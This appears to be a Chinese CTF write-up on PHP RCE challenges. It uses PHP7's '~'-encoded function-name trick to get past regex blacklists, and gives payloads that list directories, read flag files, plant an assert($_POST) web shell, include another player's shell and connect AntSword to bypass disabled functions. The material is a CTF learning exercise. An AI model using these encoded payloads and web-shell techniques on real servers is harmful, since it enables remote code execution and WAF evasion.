主要记录一下这两天遇到的题目,详细的记录一下利用PHP7特性去绕过黑名单,顺便分享一下以此特性生成的过狗马
0X01
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图1](/uploads/projects/u390550@fftlfh/332626743a27f835f2e7530eb55b3b1a.png)
根据题目可以看出来,主要目的是为了让我们绕过正则匹配,之后执行getFlag()函数,这里指出了一个思路,因为题目是基于php7的,我们可以根据php7的特性进行解题
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图2](/uploads/projects/u390550@fftlfh/ab0f2e41de0586a33514476caf5a9a60.png)
可以具体的分析一下,根据php官方所说的意思,与原来版本不同的是:
phpinfo() #php5、php7可执行(phpinfo)() #php7可执行
所以在php7的环境里,我们可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的”^”和”~”由于异或的字符较多,我比较习惯使用”~”(取1的补数,例如5,它的二进制就是101,那么它的补数就应该是010就是2)
下面是生成方式,使用URL编码的原因是,在进行”~”运算时,经常会生成不可见字符
$a = "phpinfo";echo urlencode(~$a);%8F%97%8F%96%91%99%90 //phpinfo
尝试执行一下:
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图3](/uploads/projects/u390550@fftlfh/04e9325523018acb03f9c8859332f9f9.png)
可以看到成功的执行了phpinfo函数,下一步就非常简单了,直接执行getFlag()函数即可
$a = "getFlag";echo urlencode(~$a);%98%9A%8B%B9%93%9E%98 //getFlag
执行
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图4](/uploads/projects/u390550@fftlfh/91d4534944327b0c0f0f0e714d521aaa.png)
这全程抄袭人家的,主要知道php7的特性用”~”来做题的思路就好
0X02([极客大挑战 2019]RCE ME)
题目环境:
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图5](/uploads/projects/u390550@fftlfh/57c23f386568a3dcc5a82bdd583f5528.png)
这道题相比于上一道题来说,就不是简单的让我们去执行函数了,而是让我们通过限制去进行目录查看执行命令等操作。依然是用原来的方法使用”~”
$a = "phpinfo";echo urlencode(~$a);%8F%97%8F%96%91%99%90 //phpinfo
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图6](/uploads/projects/u390550@fftlfh/0b3769f6fbc2023abcd4f33ad6585299.png)
执行了phpinfo查看一下呗禁用的函数
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图7](/uploads/projects/u390550@fftlfh/69da9140e99c407c9aff5dd14d35be40.png)
可以发现我们常用的执行系统命令的函数都被ban了,不过不要紧,我们先尝试读取系统目录,这里使用scandir函数
print_r(scandir('./'));
进行编码
%8F%8D%96%91%8B%A0%8D # print_r%8C%9C%9E%91%9B%96%8D # scandir
尝试读取当前的目录
(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图8](/uploads/projects/u390550@fftlfh/142e9fb60cb611912c7bc0f7850cd609.png)
尝试获取根目录内容
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图9](/uploads/projects/u390550@fftlfh/0e51b7bcff1ff78b042b29991a71cb45.png)
发现了readflag和flag文件,尝试一下直接读取flag
readfile('/flag');
编码一下
%8D%9A%9E%9B%99%96%93%9A # readfile%D0%99%93%9E%98 # /flag
尝试读取一下readflag文件
(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图10](/uploads/projects/u390550@fftlfh/854c598b5f2f8809f102eae8cfb87490.png)
可以看出是一个二进制文件,我们需要执行/readflag文件来读取字符串,但是我们常用执行系统函数的方法都被ban了,但是经过fuzz发现,php的assert函数没有被ban,我们可以使用assert函数写shell
assert($_POST['a']);
编码一下
%9E%8C%8C%9A%8D%8B # assert%DB%A0%AF%B0%AC%AB # $_POST%9E # a
尝试一下
(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]);
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图11](/uploads/projects/u390550@fftlfh/c34e1e829a35a766af25782f0580f767.png)
空白啥都没有
继续尝试别的方法吧
在查看tmp目录下发现有其他内容
print_r(scandir('./'));
编码一下
(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("~%D0%8B%92%8F")));
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图12](/uploads/projects/u390550@fftlfh/d5448d47a280a8b933540edf7f29ebb8.png)
为啥我啥都没有!草!
…某不知名大型跑马场,有现成的就很方便,随便读一个shell看看内容
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图13](/uploads/projects/u390550@fftlfh/f5bd2871cc452651729e08e966d59fb3.png)
尝试文件包含一下
assert(include("hack.php"););
编码一下执行命令
(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图14](/uploads/projects/u390550@fftlfh/dd881c44369f5e65ea0d2f72757546ed.png)
成功执行命令,使用蚁剑连接一下,上传我们的bypass脚本和扩展库
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图15](/uploads/projects/u390550@fftlfh/d4e3c9d7d18002e433369855eff0c3ab.png)
assert(include("ssll.php"););
(~%9E%8C%8C%9A%8D%8B)(~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%8C%8C%93%93%D1%8F%97%8F%DD%D6%C4);
执行命令
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图16](/uploads/projects/u390550@fftlfh/a5f8002582c97e8d557e30bf061354d3.png)
0X03
访问题目
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图17](/uploads/projects/u390550@fftlfh/b4d954c750a35f0e82ab628dc8ff744f.png)
看到这是一个类似计算器的页面,查看源码发现calc.php
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图18](/uploads/projects/u390550@fftlfh/46426ab33019b90c780aa8f9999470ec.png)
访问页面发现是一个代码审计题目,依旧是绕过黑名单执行命令
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图19](/uploads/projects/u390550@fftlfh/508bac3b1c07661d04e884d35e05ed1c.png)
与前面不同的是,题目只对一些特殊符号进行了过滤,首先测试绕过了$str执行函数,这里有一篇文章讲述了原理,我们在输入的参数面前加%20即空格,即可以绕过waf
https://www.freebuf.com/articles/web/213359.html?tdsourcetag=s_pcqq_aiomsg
尝试用一下
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图20](/uploads/projects/u390550@fftlfh/7aeb15ffc9f776227fc7ac9bc812ebf2.png)
成功执行phpinfo,下一步就是看一下能不能直接查看系统目录,使用:
print_r(scandir("./"));
因为存在黑名单中”/“,这里我们同样使用”~”去绕过
编码一下
print_r(scandir((~%D1%D0)));
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图21](/uploads/projects/u390550@fftlfh/c9b5400915121e1651dc8d22a75310b1.png)
成功获取当前页面的目录列表,下一步获取根目录列表
print_r(scandir((~%D0)));
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图22](/uploads/projects/u390550@fftlfh/c300beb5da45ac6b77ed995500df8224.png)
发现flagg文件,尝试读一下
readfile((~%D0%99%CE%9E%98%98));
![记PHP7特性的题目--[极客大挑战 2019]RCE ME - 图23](/uploads/projects/u390550@fftlfh/9a6dde823ccf23e0b07f61a417052cdf.png)
